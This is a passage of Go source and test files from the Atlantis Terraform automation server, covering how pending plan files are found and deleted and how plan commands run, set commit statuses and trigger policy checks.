fmt.Errorf("running 'git ls-files . --others' in '%s' directory: %s: %w", repoDir, string(lsOut), err) } for file := range strings.SplitSeq(string(lsOut), "\n") { if filepath.Ext(file) == ".tfplan" { // Ignore .terragrunt-cache dirs (#487) if strings.Contains(file, ".terragrunt-cache/") { continue } projectName, err := runtime.ProjectNameFromPlanfile(workspace, filepath.Base(file)) if err != nil { return nil, nil, err } plans = append(plans, PendingPlan{ RepoDir: repoDir, RepoRelDir: filepath.Dir(file), Workspace: workspace, ProjectName: projectName, }) absPaths = append(absPaths, filepath.Join(repoDir, file)) } } } return plans, absPaths, nil } // deletePlans deletes all plans in pullDir. func (p *DefaultPendingPlanFinder) DeletePlans(pullDir string) error { _, absPaths, err := p.findWithAbsPaths(pullDir) if err != nil { return err } for _, path := range absPaths { if err := utils.RemoveIgnoreNonExistent(path); err != nil { return fmt.Errorf("delete plan at %s: %w", path, err) } } return nil } ================================================ FILE: server/events/pending_plan_finder_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package events_test import ( "fmt" "os" "os/exec" "path/filepath" "strings" "testing" "github.com/runatlantis/atlantis/server/events" . "github.com/runatlantis/atlantis/testing" ) // If the dir doesn't exist should get an error. func TestPendingPlanFinder_FindNoDir(t *testing.T) { pf := &events.DefaultPendingPlanFinder{} _, err := pf.Find("/doesntexist") ErrEquals(t, "open /doesntexist: no such file or directory", err) } // If one of the dir in PR dir is not git dir then it should throw an error. func TestPendingPlanFinder_FindIncludingNotGitDir(t *testing.T) { gitDirName := ".default" notGitDirName := ".terragrunt-cache" tmpDir := DirStructure(t, map[string]any{ gitDirName: map[string]any{ "default.tfplan": nil, }, notGitDirName: map[string]any{ "some_file.tfplan": nil, }, }) // Initialize git in 'default' directory gitDir := filepath.Join(tmpDir, gitDirName) runCmd(t, gitDir, "git", "init") pf := &events.DefaultPendingPlanFinder{} _, err := pf.Find(tmpDir) ErrEquals(t, fmt.Sprintf("running 'git ls-files . --others' in '%s/%s' directory: fatal: "+ "not a git repository (or any of the parent directories): .git\n: exit status 128", tmpDir, notGitDirName), err) } // Test different directory structures. func TestPendingPlanFinder_Find(t *testing.T) { cases := []struct { description string files map[string]any expPlans []events.PendingPlan }{ { "no plans", nil, nil, }, { "root directory", map[string]any{ "default": map[string]any{ "default.tfplan": nil, }, }, []events.PendingPlan{ { RepoDir: "???/default", RepoRelDir: ".", Workspace: "default", }, }, }, { "root dir project plan", map[string]any{ "default": map[string]any{ "projectname-default.tfplan": nil, }, }, []events.PendingPlan{ { RepoDir: "???/default", RepoRelDir: ".", Workspace: "default", ProjectName: "projectname", }, }, }, { "root dir project plan with slashes", map[string]any{ "default": map[string]any{ "project::name-default.tfplan": nil, }, }, []events.PendingPlan{ { RepoDir: "???/default", RepoRelDir: ".", Workspace: "default", ProjectName: "project/name", }, }, }, { "multiple directories in single workspace", map[string]any{ "default": map[string]any{ "dir1": map[string]any{ "default.tfplan": nil, }, "dir2": map[string]any{ "default.tfplan": nil, }, }, }, []events.PendingPlan{ { RepoDir: "???/default", RepoRelDir: "dir1", Workspace: "default", }, { RepoDir: "???/default", RepoRelDir: "dir2", Workspace: "default", }, }, }, { "multiple directories nested within each other", map[string]any{ "default": map[string]any{ "dir1": map[string]any{ "default.tfplan": nil, }, "default.tfplan": nil, }, }, []events.PendingPlan{ { RepoDir: "???/default", RepoRelDir: ".", Workspace: "default", }, { RepoDir: "???/default", RepoRelDir: "dir1", Workspace: "default", }, }, }, { "multiple workspaces", map[string]any{ "default": map[string]any{ "default.tfplan": nil, }, "staging": map[string]any{ "staging.tfplan": nil, }, "production": map[string]any{ "production.tfplan": nil, }, }, []events.PendingPlan{ { RepoDir: "???/default", RepoRelDir: ".", Workspace: "default", }, { RepoDir: "???/production", RepoRelDir: ".", Workspace: "production", }, { RepoDir: "???/staging", RepoRelDir: ".", Workspace: "staging", }, }, }, { ".terragrunt-cache", map[string]any{ "default": map[string]any{ ".terragrunt-cache": map[string]any{ "N6lY9xk7PivbOAzdsjDL6VUFVYk": map[string]any{ "K4xpUZI6HgUF-ip6E1eib4L8mwQ": map[string]any{ "app": map[string]any{ "default.tfplan": nil, }, }, }, }, "default.tfplan": nil, }, }, []events.PendingPlan{ { RepoDir: "???/default", RepoRelDir: ".", Workspace: "default", }, }, }, } pf := &events.DefaultPendingPlanFinder{} for _, c := range cases { t.Run(c.description, func(t *testing.T) { tmpDir := DirStructure(t, c.files) // Create a git repo in each workspace directory. for dirname, contents := range c.files { // If contents is nil then this isn't a directory. if contents != nil { runCmd(t, filepath.Join(tmpDir, dirname), "git", "init") } } actPlans, err := pf.Find(tmpDir) Ok(t, err) // Replace the actual dir with ??? to allow for comparison. var actPlansComparable []events.PendingPlan for _, p := range actPlans { p.RepoDir = strings.ReplaceAll(p.RepoDir, tmpDir, "???") actPlansComparable = append(actPlansComparable, p) } Equals(t, c.expPlans, actPlansComparable) }) } } // If a planfile is checked in to git, we shouldn't use it. func TestPendingPlanFinder_FindPlanCheckedIn(t *testing.T) { tmpDir := DirStructure(t, map[string]any{ "default": map[string]any{ "default.tfplan": nil, }, }) // Add that file to git. repoDir := filepath.Join(tmpDir, "default") runCmd(t, repoDir, "git", "init") runCmd(t, repoDir, "touch", ".gitkeep") runCmd(t, repoDir, "git", "add", ".") runCmd(t, repoDir, "git", "config", "--local", "user.email", "atlantisbot@runatlantis.io") runCmd(t, repoDir, "git", "config", "--local", "user.name", "atlantisbot") runCmd(t, repoDir, "git", "config", "--local", "commit.gpgsign", "false") runCmd(t, repoDir, "git", "commit", "-m", "initial commit") pf := &events.DefaultPendingPlanFinder{} actPlans, err := pf.Find(tmpDir) Ok(t, err) Equals(t, 0, len(actPlans)) } func runCmdErrCode(t *testing.T, dir string, errCode int, name string, args ...string) string { t.Helper() cpCmd := exec.Command(name, args...) cpCmd.Dir = dir cpOut, err := cpCmd.CombinedOutput() cmd := strings.Join(append([]string{name}, args...), " ") if err != nil { if eerr, ok := err.(*exec.ExitError); ok { Assert(t, errCode == eerr.ExitCode(), "unexpected exit code: want %v, got %v, running %q: %s", errCode, eerr.ExitCode(), cmd, cpCmd) return string(cpOut) } } Assert(t, false, "invalid exit code, running %q: %s", cmd, cpOut) return string(cpOut) } // Test that it deletes pending plans. func TestPendingPlanFinder_DeletePlans(t *testing.T) { files := map[string]any{ "default": map[string]any{ "dir1": map[string]any{ "default.tfplan": nil, }, "dir2": map[string]any{ "default.tfplan": nil, }, }, } tmp := DirStructure(t, files) // Create a git repo in each workspace directory. for dirname, contents := range files { // If contents is nil then this isn't a directory. if contents != nil { runCmd(t, filepath.Join(tmp, dirname), "git", "init") } } pf := &events.DefaultPendingPlanFinder{} Ok(t, pf.DeletePlans(tmp)) // First, check the files were deleted. for _, plan := range []string{ "default/dir1/default.tfplan", "default/dir2/default.tfplan", } { absPath := filepath.Join(tmp, plan) _, err := os.Stat(absPath) ErrContains(t, "no such file or directory", err) } // Double check by using Find(). foundPlans, err := pf.Find(tmp) Ok(t, err) Equals(t, 0, len(foundPlans)) } func runCmd(t *testing.T, dir string, name string, args ...string) string { t.Helper() cpCmd := exec.Command(name, args...) cpCmd.Dir = dir cpOut, err := cpCmd.CombinedOutput() Assert(t, err == nil, "err running %q: %s", strings.Join(append([]string{name}, args...), " "), cpOut) return string(cpOut) } ================================================ FILE: server/events/plan_command_runner.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package events import ( "github.com/runatlantis/atlantis/server/core/locking" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/events/vcs" ) // GenerateLockID creates a consistent lock ID for a project context. // This ensures the same format is used for both locking and unlocking operations. func GenerateLockID(projCtx command.ProjectContext) string { // Use models.NewProject to ensure consistent path cleaning project := models.NewProject(projCtx.BaseRepo.FullName, projCtx.RepoRelDir, "") return models.GenerateLockKey(project, projCtx.Workspace) } func NewPlanCommandRunner( silenceVCSStatusNoPlans bool, silenceVCSStatusNoProjects bool, vcsClient vcs.Client, pendingPlanFinder PendingPlanFinder, workingDir WorkingDir, commitStatusUpdater CommitStatusUpdater, projectCommandBuilder ProjectPlanCommandBuilder, projectCommandRunner ProjectPlanCommandRunner, cancellationTracker CancellationTracker, dbUpdater *DBUpdater, pullUpdater *PullUpdater, policyCheckCommandRunner *PolicyCheckCommandRunner, autoMerger *AutoMerger, parallelPoolSize int, SilenceNoProjects bool, pullStatusFetcher PullStatusFetcher, lockingLocker locking.Locker, discardApprovalOnPlan bool, pullReqStatusFetcher vcs.PullReqStatusFetcher, PendingApplyStatus bool, ) *PlanCommandRunner { return &PlanCommandRunner{ silenceVCSStatusNoPlans: silenceVCSStatusNoPlans, silenceVCSStatusNoProjects: silenceVCSStatusNoProjects, vcsClient: vcsClient, pendingPlanFinder: pendingPlanFinder, workingDir: workingDir, commitStatusUpdater: commitStatusUpdater, prjCmdBuilder: projectCommandBuilder, prjCmdRunner: projectCommandRunner, cancellationTracker: cancellationTracker, dbUpdater: dbUpdater, pullUpdater: pullUpdater, policyCheckCommandRunner: policyCheckCommandRunner, autoMerger: autoMerger, parallelPoolSize: parallelPoolSize, SilenceNoProjects: SilenceNoProjects, pullStatusFetcher: pullStatusFetcher, lockingLocker: lockingLocker, DiscardApprovalOnPlan: discardApprovalOnPlan, pullReqStatusFetcher: pullReqStatusFetcher, PendingApplyStatus: PendingApplyStatus, } } type PlanCommandRunner struct { vcsClient vcs.Client // SilenceNoProjects is whether Atlantis should respond to PRs if no projects // are found SilenceNoProjects bool // SilenceVCSStatusNoPlans is whether autoplan should set commit status if no plans // are found silenceVCSStatusNoPlans bool // SilenceVCSStatusNoPlans is whether any plan should set commit status if no projects // are found silenceVCSStatusNoProjects bool commitStatusUpdater CommitStatusUpdater pendingPlanFinder PendingPlanFinder workingDir WorkingDir prjCmdBuilder ProjectPlanCommandBuilder prjCmdRunner ProjectPlanCommandRunner cancellationTracker CancellationTracker dbUpdater *DBUpdater pullUpdater *PullUpdater policyCheckCommandRunner *PolicyCheckCommandRunner autoMerger *AutoMerger parallelPoolSize int pullStatusFetcher PullStatusFetcher lockingLocker locking.Locker // DiscardApprovalOnPlan controls if all already existing approvals should be removed/dismissed before executing // a plan. DiscardApprovalOnPlan bool pullReqStatusFetcher vcs.PullReqStatusFetcher SilencePRComments []string PendingApplyStatus bool } func (p *PlanCommandRunner) runAutoplan(ctx *command.Context) { baseRepo := ctx.Pull.BaseRepo pull := ctx.Pull projectCmds, err := p.prjCmdBuilder.BuildAutoplanCommands(ctx) if err != nil { if statusErr := p.commitStatusUpdater.UpdateCombined(ctx.Log, baseRepo, pull, models.FailedCommitStatus, command.Plan); statusErr != nil { ctx.Log.Warn("unable to update commit status: %s", statusErr) } p.pullUpdater.updatePull(ctx, AutoplanCommand{}, command.Result{Error: err}) return } projectCmds, policyCheckCmds := p.partitionProjectCmds(ctx, projectCmds) if len(projectCmds) == 0 { ctx.Log.Info("determined there was no project to run plan in") if !p.silenceVCSStatusNoPlans && !p.silenceVCSStatusNoProjects { // If there were no projects modified, we set successful commit statuses // with 0/0 projects planned/policy_checked/applied successfully because some users require // the Atlantis status to be passing for all pull requests. ctx.Log.Debug("setting VCS status to success with no projects found") if err := p.commitStatusUpdater.UpdateCombinedCount(ctx.Log, baseRepo, pull, models.SuccessCommitStatus, command.Plan, 0, 0); err != nil { ctx.Log.Warn("unable to update commit status: %s", err) } if err := p.commitStatusUpdater.UpdateCombinedCount(ctx.Log, baseRepo, pull, models.SuccessCommitStatus, command.PolicyCheck, 0, 0); err != nil { ctx.Log.Warn("unable to update commit status: %s", err) } if err := p.commitStatusUpdater.UpdateCombinedCount(ctx.Log, baseRepo, pull, models.SuccessCommitStatus, command.Apply, 0, 0); err != nil { ctx.Log.Warn("unable to update commit status: %s", err) } } else { // When silence is enabled and no projects are found, don't set any status ctx.Log.Debug("silence enabled and no projects found - not setting any VCS status") } return } // discard previous plans that might not be relevant anymore ctx.Log.Debug("deleting previous plans and locks") p.deletePlans(ctx) _, err = p.lockingLocker.UnlockByPull(baseRepo.FullName, pull.Num) if err != nil { ctx.Log.Err("deleting locks: %s", err) } result := runProjectCmdsWithCancellationTracker(ctx, projectCmds, p.cancellationTracker, p.parallelPoolSize, p.isParallelEnabled(projectCmds), p.prjCmdRunner.Plan) if p.autoMerger.automergeEnabled(projectCmds) && result.HasErrors() { ctx.Log.Info("deleting plans because there were errors and automerge requires all plans succeed") p.deletePlans(ctx) _, err := p.lockingLocker.UnlockByPull(ctx.Pull.BaseRepo.FullName, ctx.Pull.Num) if err != nil { ctx.Log.Err("deleting locks: %s", err) } result.PlansDeleted = true } p.pullUpdater.updatePull(ctx, AutoplanCommand{}, result) pullStatus, err := p.dbUpdater.updateDB(ctx, ctx.Pull, result.ProjectResults) if err != nil { ctx.Log.Err("writing results: %s", err) } p.updateCommitStatus(ctx, pullStatus, command.Plan) p.updateCommitStatus(ctx, pullStatus, command.Apply) // Check if there are any planned projects and if there are any errors or if plans are being deleted if len(policyCheckCmds) > 0 && (!result.HasErrors() && !result.PlansDeleted) { // Run policy_check command ctx.Log.Info("Running policy_checks for all plans") // refresh ctx's view of pull status since we just wrote to it. // realistically each command should refresh this at the start, // however, policy checking is weird since it's called within the plan command itself // we need to better structure how this command works. ctx.PullStatus = &pullStatus p.policyCheckCommandRunner.Run(ctx, policyCheckCmds) } } func (p *PlanCommandRunner) run(ctx *command.Context, cmd *CommentCommand) { var err error baseRepo := ctx.Pull.BaseRepo pull := ctx.Pull ctx.PullRequestStatus, err = p.pullReqStatusFetcher.FetchPullStatus(ctx.Log, pull) if err != nil { // On error we continue the request with mergeable assumed false. // We want to continue because not all apply's will need this status, // only if they rely on the mergeability requirement. // All PullRequestStatus fields are set to false by default when error. ctx.Log.Warn("unable to get pull request status: %s. Continuing with mergeable and approved assumed false", err) } if p.DiscardApprovalOnPlan { if err = p.pullUpdater.VCSClient.DiscardReviews(ctx.Log, baseRepo, pull); err != nil { ctx.Log.Err("failed to remove approvals: %s", err) } } projectCmds, err := p.prjCmdBuilder.BuildPlanCommands(ctx, cmd) if err != nil { if statusErr := p.commitStatusUpdater.UpdateCombined(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, models.FailedCommitStatus, command.Plan); statusErr != nil { ctx.Log.Warn("unable to update commit status: %s", statusErr) } p.pullUpdater.updatePull(ctx, cmd, command.Result{Error: err}) return } if len(projectCmds) == 0 && p.SilenceNoProjects { ctx.Log.Info("determined there was no project to run plan in") if !p.silenceVCSStatusNoProjects { if cmd.IsForSpecificProject() { // With a specific plan, just reset the status so it's not stuck in pending state pullStatus, err := p.pullStatusFetcher.GetPullStatus(pull) if err != nil { ctx.Log.Warn("unable to fetch pull status: %s", err) return } if pullStatus == nil { // default to 0/0 ctx.Log.Debug("setting VCS status to 0/0 success as no previous state was found") if err := p.commitStatusUpdater.UpdateCombinedCount(ctx.Log, baseRepo, pull, models.SuccessCommitStatus, command.Plan, 0, 0); err != nil { ctx.Log.Warn("unable to update commit status: %s", err) } return } ctx.Log.Debug("resetting VCS status") p.updateCommitStatus(ctx, *pullStatus, command.Plan) } else { // With a generic plan, we set successful commit statuses // with 0/0 projects planned successfully because some users require // the Atlantis status to be passing for all pull requests. // Does not apply to skipped runs for specific projects ctx.Log.Debug("setting VCS status to success with no projects found") if err := p.commitStatusUpdater.UpdateCombinedCount(ctx.Log, baseRepo, pull, models.SuccessCommitStatus, command.Plan, 0, 0); err != nil { ctx.Log.Warn("unable to update commit status: %s", err) } if err := p.commitStatusUpdater.UpdateCombinedCount(ctx.Log, baseRepo, pull, models.SuccessCommitStatus, command.PolicyCheck, 0, 0); err != nil { ctx.Log.Warn("unable to update commit status: %s", err) } if err := p.commitStatusUpdater.UpdateCombinedCount(ctx.Log, baseRepo, pull, models.SuccessCommitStatus, command.Apply, 0, 0); err != nil { ctx.Log.Warn("unable to update commit status: %s", err) } } } else { // When silence is enabled and no projects are found, don't set any status ctx.Log.Debug("silence enabled and no projects found - not setting any VCS status") } return } projectCmds, policyCheckCmds := p.partitionProjectCmds(ctx, projectCmds) // if the plan is generic, new plans will be generated based on changes // discard previous plans that might not be relevant anymore if !cmd.IsForSpecificProject() { ctx.Log.Debug("deleting previous plans and locks") p.deletePlans(ctx) _, err := p.lockingLocker.UnlockByPull(ctx.Pull.BaseRepo.FullName, ctx.Pull.Num) if err != nil { ctx.Log.Err("deleting locks: %s", err) } } result := runProjectCmdsWithCancellationTracker(ctx, projectCmds, p.cancellationTracker, p.parallelPoolSize, p.isParallelEnabled(projectCmds), p.prjCmdRunner.Plan) ctx.CommandHasErrors = result.HasErrors() if p.autoMerger.automergeEnabled(projectCmds) && result.HasErrors() { ctx.Log.Info("deleting plans because there were errors and automerge requires all plans succeed") p.deletePlans(ctx) _, err := p.lockingLocker.UnlockByPull(ctx.Pull.BaseRepo.FullName, ctx.Pull.Num) if err != nil { ctx.Log.Err("deleting locks: %s", err) } result.PlansDeleted = true } p.pullUpdater.updatePull( ctx, cmd, result) pullStatus, err := p.dbUpdater.updateDB(ctx, pull, result.ProjectResults) if err != nil { ctx.Log.Err("writing results: %s", err) return } p.updateCommitStatus(ctx, pullStatus, command.Plan) p.updateCommitStatus(ctx, pullStatus, command.Apply) // Runs policy checks step after all plans are successful. // This step does not approve any policies that require approval. if len(result.ProjectResults) > 0 && (!result.HasErrors() && !result.PlansDeleted) { ctx.Log.Info("Running policy check for '%s'", cmd.CommandName()) p.policyCheckCommandRunner.Run(ctx, policyCheckCmds) } else if len(projectCmds) == 0 && !cmd.IsForSpecificProject() { // If there were no projects modified, we set successful commit statuses // with 0/0 projects planned/policy_checked/applied successfully because some users require // the Atlantis status to be passing for all pull requests. ctx.Log.Debug("setting VCS status to success with no projects found") if err := p.commitStatusUpdater.UpdateCombinedCount(ctx.Log, baseRepo, pull, models.SuccessCommitStatus, command.PolicyCheck, 0, 0); err != nil { ctx.Log.Warn("unable to update commit status: %s", err) } } } func (p *PlanCommandRunner) Run(ctx *command.Context, cmd *CommentCommand) { if ctx.Trigger == command.AutoTrigger { p.runAutoplan(ctx) } else { p.run(ctx, cmd) } } func (p *PlanCommandRunner) updateCommitStatus(ctx *command.Context, pullStatus models.PullStatus, commandName command.Name) { var numSuccess int var numErrored int status := models.SuccessCommitStatus switch commandName { case command.Plan: numErrored = pullStatus.StatusCount(models.ErroredPlanStatus) // We consider anything that isn't a plan error as a plan success. // For example, if there is an apply error, that means that at least a // plan was generated successfully. numSuccess = len(pullStatus.Projects) - numErrored if numErrored > 0 { status = models.FailedCommitStatus } case command.Apply: numSuccess = pullStatus.StatusCount(models.AppliedPlanStatus) + pullStatus.StatusCount(models.PlannedNoChangesPlanStatus) numErrored = pullStatus.StatusCount(models.ErroredApplyStatus) if numErrored > 0 { status = models.FailedCommitStatus } else if numSuccess < len(pullStatus.Projects) { // When there are planned changes that haven't been applied yet: // - GitLab: Set status to pending if PendingApplyStatus is enabled // This prevents MR merging until all applies complete // - Other VCS: Leave status unchanged (existing behavior) if ctx.Pull.BaseRepo.VCSHost.Type == models.Gitlab && p.PendingApplyStatus { ctx.Log.Debug("Pending Apply Status is set. Pipeline status will be marked as pending since there are changes to apply") status = models.PendingCommitStatus } else { if p.PendingApplyStatus { // If a VCS uses this flag other than Gitlab, we log the warning to the user ctx.Log.Warn("Flag --pending-apply-status is not yet supported by your VCS. Pipeline status will not be marked as pending") } // Otherwise, status remains SuccessCommitStatus (no update needed) return } } } if err := p.commitStatusUpdater.UpdateCombinedCount( ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, status, commandName, numSuccess, len(pullStatus.Projects), ); err != nil { ctx.Log.Warn("unable to update commit status: %s", err) } } // deletePlans deletes all plans generated in this ctx. func (p *PlanCommandRunner) deletePlans(ctx *command.Context) { pullDir, err := p.workingDir.GetPullDir(ctx.Pull.BaseRepo, ctx.Pull) if err != nil { ctx.Log.Err("getting pull dir: %s", err) } if err := p.pendingPlanFinder.DeletePlans(pullDir); err != nil { ctx.Log.Err("deleting pending plans: %s", err) } } func (p *PlanCommandRunner) partitionProjectCmds( ctx *command.Context, cmds []command.ProjectContext, ) ( projectCmds []command.ProjectContext, policyCheckCmds []command.ProjectContext, ) { for _, cmd := range cmds { switch cmd.CommandName { case command.Plan: projectCmds = append(projectCmds, cmd) case command.PolicyCheck: policyCheckCmds = append(policyCheckCmds, cmd) default: ctx.Log.Err("%s is not supported", cmd.CommandName) } } return } func (p *PlanCommandRunner) isParallelEnabled(projectCmds []command.ProjectContext) bool { return len(projectCmds) > 0 && projectCmds[0].ParallelPlanEnabled } ================================================ FILE: server/events/plan_command_runner_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package events_test import ( "errors" "testing" "github.com/google/go-github/v83/github" . "github.com/petergtz/pegomock/v4" "github.com/runatlantis/atlantis/server/core/boltdb" "github.com/runatlantis/atlantis/server/events" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/events/models/testdata" "github.com/runatlantis/atlantis/server/logging" "github.com/runatlantis/atlantis/server/metrics/metricstest" . "github.com/runatlantis/atlantis/testing" "github.com/stretchr/testify/require" ) func TestPlanCommandRunner_IsSilenced(t *testing.T) { logger := logging.NewNoopLogger(t) RegisterMockTestingT(t) cases := []struct { Description string Matched bool Targeted bool VCSStatusSilence bool PrevPlanStored bool // stores a 1/1 passing plan in the database ExpVCSStatusSet bool ExpVCSStatusTotal int ExpVCSStatusSucc int ExpSilenced bool }{ { Description: "When planning, don't comment but set the 0/0 VCS status", ExpVCSStatusSet: true, ExpSilenced: true, }, { Description: "When planning with any previous plans, don't comment but set the 0/0 VCS status", PrevPlanStored: true, ExpVCSStatusSet: true, ExpSilenced: true, }, { Description: "When planning with unmatched target, don't comment but set the 0/0 VCS status", Targeted: true, ExpVCSStatusSet: true, ExpSilenced: true, }, { Description: "When planning with unmatched target and any previous plans, don't comment and maintain VCS status", Targeted: true, PrevPlanStored: true, ExpVCSStatusSet: true, ExpSilenced: true, ExpVCSStatusSucc: 1, ExpVCSStatusTotal: 1, }, { Description: "When planning with silenced VCS status, don't set any status", VCSStatusSilence: true, ExpVCSStatusSet: false, // Silence means no status updates at all ExpSilenced: true, }, { Description: "When planning with matching projects, comment as usual", Matched: true, ExpVCSStatusSet: true, ExpSilenced: false, ExpVCSStatusSucc: 1, ExpVCSStatusTotal: 1, }, } for _, c := range cases { t.Run(c.Description, func(t *testing.T) { // create an empty DB tmp := t.TempDir() db, err := boltdb.New(tmp) t.Cleanup(func() { db.Close() }) Ok(t, err) vcsClient := setup(t, func(tc *TestConfig) { tc.SilenceNoProjects = true tc.silenceVCSStatusNoProjects = c.VCSStatusSilence tc.database = db }) scopeNull := metricstest.NewLoggingScope(t, logger, "atlantis") modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState, Num: testdata.Pull.Num} cmd := &events.CommentCommand{Name: command.Plan} if c.Targeted { cmd.RepoRelDir = "mydir" } ctx := &command.Context{ User: testdata.User, Log: logging.NewNoopLogger(t), Scope: scopeNull, Pull: modelPull, HeadRepo: testdata.GithubRepo, Trigger: command.CommentTrigger, } if c.PrevPlanStored { _, err = db.UpdatePullWithResults(modelPull, []command.ProjectResult{ { Command: command.Plan, RepoRelDir: "prevdir", Workspace: "default", ProjectCommandOutput: command.ProjectCommandOutput{ PlanSuccess: &models.PlanSuccess{}, }, }, }) Ok(t, err) } When(projectCommandBuilder.BuildPlanCommands(ctx, cmd)).Then(func(args []Param) ReturnValues { if c.Matched { return ReturnValues{[]command.ProjectContext{{CommandName: command.Plan}}, nil} } return ReturnValues{[]command.ProjectContext{}, nil} }) When(projectCommandRunner.Plan(Any[command.ProjectContext]())).ThenReturn(command.ProjectCommandOutput{PlanSuccess: &models.PlanSuccess{}}) planCommandRunner.Run(ctx, cmd) timesComment := 1 if c.ExpSilenced { timesComment = 0 } vcsClient.VerifyWasCalled(Times(timesComment)).CreateComment( Any[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]()) if c.ExpVCSStatusSet { commitUpdater.VerifyWasCalledOnce().UpdateCombinedCount( Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), Eq[models.CommitStatus](models.SuccessCommitStatus), Eq[command.Name](command.Plan), Eq(c.ExpVCSStatusSucc), Eq(c.ExpVCSStatusTotal), ) } else { commitUpdater.VerifyWasCalled(Never()).UpdateCombinedCount( Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), Any[models.CommitStatus](), Eq[command.Name](command.Plan), Any[int](), Any[int](), ) } }) } } func TestPlanCommandRunner_ExecutionOrder(t *testing.T) { logger := logging.NewNoopLogger(t) RegisterMockTestingT(t) cases := []struct { Description string ProjectContexts []command.ProjectContext ProjectCommandOutputs []command.ProjectCommandOutput RunnerInvokeMatch []*EqMatcher PrevPlanStored bool PlanFailed bool }{ { Description: "When first plan fails, the second don't run", ProjectContexts: []command.ProjectContext{ { CommandName: command.Plan, ExecutionOrderGroup: 0, Workspace: "first", ProjectName: "First", ParallelPlanEnabled: true, AbortOnExecutionOrderFail: true, }, { CommandName: command.Plan, ExecutionOrderGroup: 1, Workspace: "second", ProjectName: "Second", ParallelPlanEnabled: true, AbortOnExecutionOrderFail: true, }, }, ProjectCommandOutputs: []command.ProjectCommandOutput{ { PlanSuccess: &models.PlanSuccess{ TerraformOutput: "true", }, }, { Error: errors.New("shabang"), }, }, RunnerInvokeMatch: []*EqMatcher{ Once(), Once(), }, PlanFailed: true, }, { Description: "When first fails, the second will not run", ProjectContexts: []command.ProjectContext{ { CommandName: command.Plan, ExecutionOrderGroup: 0, ProjectName: "First", ParallelPlanEnabled: true, AbortOnExecutionOrderFail: true, }, { CommandName: command.Plan, ExecutionOrderGroup: 1, ProjectName: "Second", ParallelPlanEnabled: true, AbortOnExecutionOrderFail: true, }, }, ProjectCommandOutputs: []command.ProjectCommandOutput{ { Error: errors.New("shabang"), }, { PlanSuccess: &models.PlanSuccess{}, }, }, RunnerInvokeMatch: []*EqMatcher{ Once(), Never(), }, PlanFailed: true, }, { Description: "When first fails by autorun, the second will not run", ProjectContexts: []command.ProjectContext{ { CommandName: command.Plan, AutoplanEnabled: true, ExecutionOrderGroup: 0, ProjectName: "First", ParallelPlanEnabled: true, AbortOnExecutionOrderFail: true, }, { CommandName: command.Plan, AutoplanEnabled: true, ExecutionOrderGroup: 1, ProjectName: "Second", ParallelPlanEnabled: true, AbortOnExecutionOrderFail: true, }, }, ProjectCommandOutputs: []command.ProjectCommandOutput{ { Error: errors.New("shabang"), }, { PlanSuccess: &models.PlanSuccess{}, }, }, RunnerInvokeMatch: []*EqMatcher{ Once(), Never(), }, PlanFailed: true, }, { Description: "When both in a group of two succeeds, the following two will run", ProjectContexts: []command.ProjectContext{ { CommandName: command.Plan, ExecutionOrderGroup: 0, ProjectName: "First", ParallelPlanEnabled: true, AbortOnExecutionOrderFail: true, }, { CommandName: command.Plan, ExecutionOrderGroup: 0, ProjectName: "Second", AbortOnExecutionOrderFail: true, }, { CommandName: command.Plan, ExecutionOrderGroup: 1, ProjectName: "Third", AbortOnExecutionOrderFail: true, }, { CommandName: command.Plan, ExecutionOrderGroup: 1, ProjectName: "Fourth", AbortOnExecutionOrderFail: true, }, }, ProjectCommandOutputs: []command.ProjectCommandOutput{ { PlanSuccess: &models.PlanSuccess{ TerraformOutput: "true", }, }, { Error: errors.New("shabang"), }, { PlanSuccess: &models.PlanSuccess{ TerraformOutput: "true", }, }, { PlanSuccess: &models.PlanSuccess{ TerraformOutput: "true", }, }, }, RunnerInvokeMatch: []*EqMatcher{ Once(), Once(), Never(), Never(), }, PlanFailed: true, }, { Description: "When one out of two fails, the following two will not run", ProjectContexts: []command.ProjectContext{ { CommandName: command.Plan, ExecutionOrderGroup: 0, ProjectName: "First", ParallelPlanEnabled: true, AbortOnExecutionOrderFail: true, }, { CommandName: command.Plan, ExecutionOrderGroup: 0, ProjectName: "Second", AbortOnExecutionOrderFail: true, }, { CommandName: command.Plan, ExecutionOrderGroup: 1, ProjectName: "Third", AbortOnExecutionOrderFail: true, }, { CommandName: command.Plan, ExecutionOrderGroup: 1, AbortOnExecutionOrderFail: true, ProjectName: "Fourth", }, }, ProjectCommandOutputs: []command.ProjectCommandOutput{ { PlanSuccess: &models.PlanSuccess{ TerraformOutput: "true", }, }, { PlanSuccess: &models.PlanSuccess{ TerraformOutput: "true", }, }, { Error: errors.New("shabang"), }, { PlanSuccess: &models.PlanSuccess{ TerraformOutput: "true", }, }, }, RunnerInvokeMatch: []*EqMatcher{ Once(), Once(), Once(), Once(), }, PlanFailed: true, }, { Description: "Don't block when parallel is not set", ProjectContexts: []command.ProjectContext{ { CommandName: command.Plan, ExecutionOrderGroup: 0, ProjectName: "First", AbortOnExecutionOrderFail: true, }, { CommandName: command.Plan, ExecutionOrderGroup: 1, ProjectName: "Second", AbortOnExecutionOrderFail: true, }, }, ProjectCommandOutputs: []command.ProjectCommandOutput{ { Error: errors.New("shabang"), }, { PlanSuccess: &models.PlanSuccess{ TerraformOutput: "true", }, }, }, RunnerInvokeMatch: []*EqMatcher{ Once(), Once(), }, PlanFailed: true, }, { Description: "All project finished successfully", ProjectContexts: []command.ProjectContext{ { CommandName: command.Plan, ExecutionOrderGroup: 0, ProjectName: "First", }, { CommandName: command.Plan, ExecutionOrderGroup: 1, ProjectName: "Second", }, }, ProjectCommandOutputs: []command.ProjectCommandOutput{ { PlanSuccess: &models.PlanSuccess{ TerraformOutput: "true", }, }, { PlanSuccess: &models.PlanSuccess{ 